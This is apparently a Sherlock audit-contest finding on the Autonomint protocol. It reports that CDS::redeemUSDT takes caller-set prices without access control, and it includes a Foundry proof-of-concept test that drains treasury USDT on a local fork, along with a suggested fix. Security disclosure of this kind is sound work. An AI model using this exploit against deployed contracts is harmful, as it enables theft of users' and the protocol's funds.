2024-12-28
*issue*
================================================================================

Attacker can drain the Treasury of Funds by calling `CDS::redeemUSDT`

================================================================================

*issue-contents*

0 CONTENTS

*issue-metadata*

1 METADATA

Number 437
Severity High
Author IzuMan
Contest Autonomint
Platform Sherlock
*issue-summary*

2 SUMMARY

The function CDS::redeemUSDT takes usdaPrice and usdtPrice as parameters. Thus, the caller can set the price to whatever they desire and change the exchange rate of USDA to USDT. For example they can trade 1 USDA into 1000 USDT and effectively drain the treasury of all USDT.

*issue-root-cause*

3 ROOT CAUSE

https://github.com/sherlock-audit/2024-11-autonomint/blob/main/Blockchain/Blockchian/contracts/Core_logic/CDS.sol#L506-L510 The problem is the redeemUSDT is not accessed controlled and allows an attacker to input any price.

*issue-internal-pre-conditions*

4 INTERNAL PRE-CONDITIONS

  1. The treasury must have USDT to steal
  2. The attacker must own a small amount of USDA
*issue-external-pre-conditions*

5 EXTERNAL PRE-CONDITIONS

No response

*issue-attack-path*

6 ATTACK PATH

  1. The attacker mints USDA by depositing USDT into the protocol or buys it on an AMM etc.
  2. Calls CDS::redeemUSDT with any desired price.
*issue-impact*

7 IMPACT

The treasury will be drained of all USDT holdings.

*issue-poc*

8 POC

To run the test run the following commands:

  1. anvil --fork-url https://mainnet.mode.network
  2. Paste the test into the ‘Borrowing.t.sol` test.
  3. forge test --fork-url http://127.0.0.1:8545 --mt test_drainTreasury -vvv
   function test_drainTreasury() public {
        vm.startPrank(USER);
        //first lets mint the treasury some USDT
        contractsA.usdt.mint(address(contractsA.treasury), 10_000e6);

        uint256 startinUsdtBalance = contractsA.usdt.balanceOf(USER);
        //uint256 usdaBalance = contractsA.usda.balanceOf(USER);
        console.log(startinUsdtBalance);
        uint256 mintAmount = 100e6; //it has 6 decimals
        contractsA.usda.mint(USER, mintAmount);
        contractsA.usda.approve(address(contractsA.cds), mintAmount);
        uint64 usdtPrice = 1e2;
        uint64 usdaPrice = 10 * usdtPrice;
        contractsA.cds.redeemUSDT{value: globalFee.nativeFee}(uint128(mintAmount), usdaPrice, usdtPrice);
        uint256 endingUsdtBalance = contractsA.usdt.balanceOf(USER);
        console.log("the ending balance of usdt: ", endingUsdtBalance);
        //sample console log
        /* Logs:
            0
            the ending balance of usdt:  1000_000_000
        */
        // we turn $100 usda into $1000 usdt
    }
*issue-mitigation*

9 MITIGATION

The exact purpose of the function is a little unclear. However, it needs to have access control so that the correct price is passed as an input or remove the price from the input parameters and correctly retrieve the price from an oracle.

================================================================================

LINKS

*issue-links*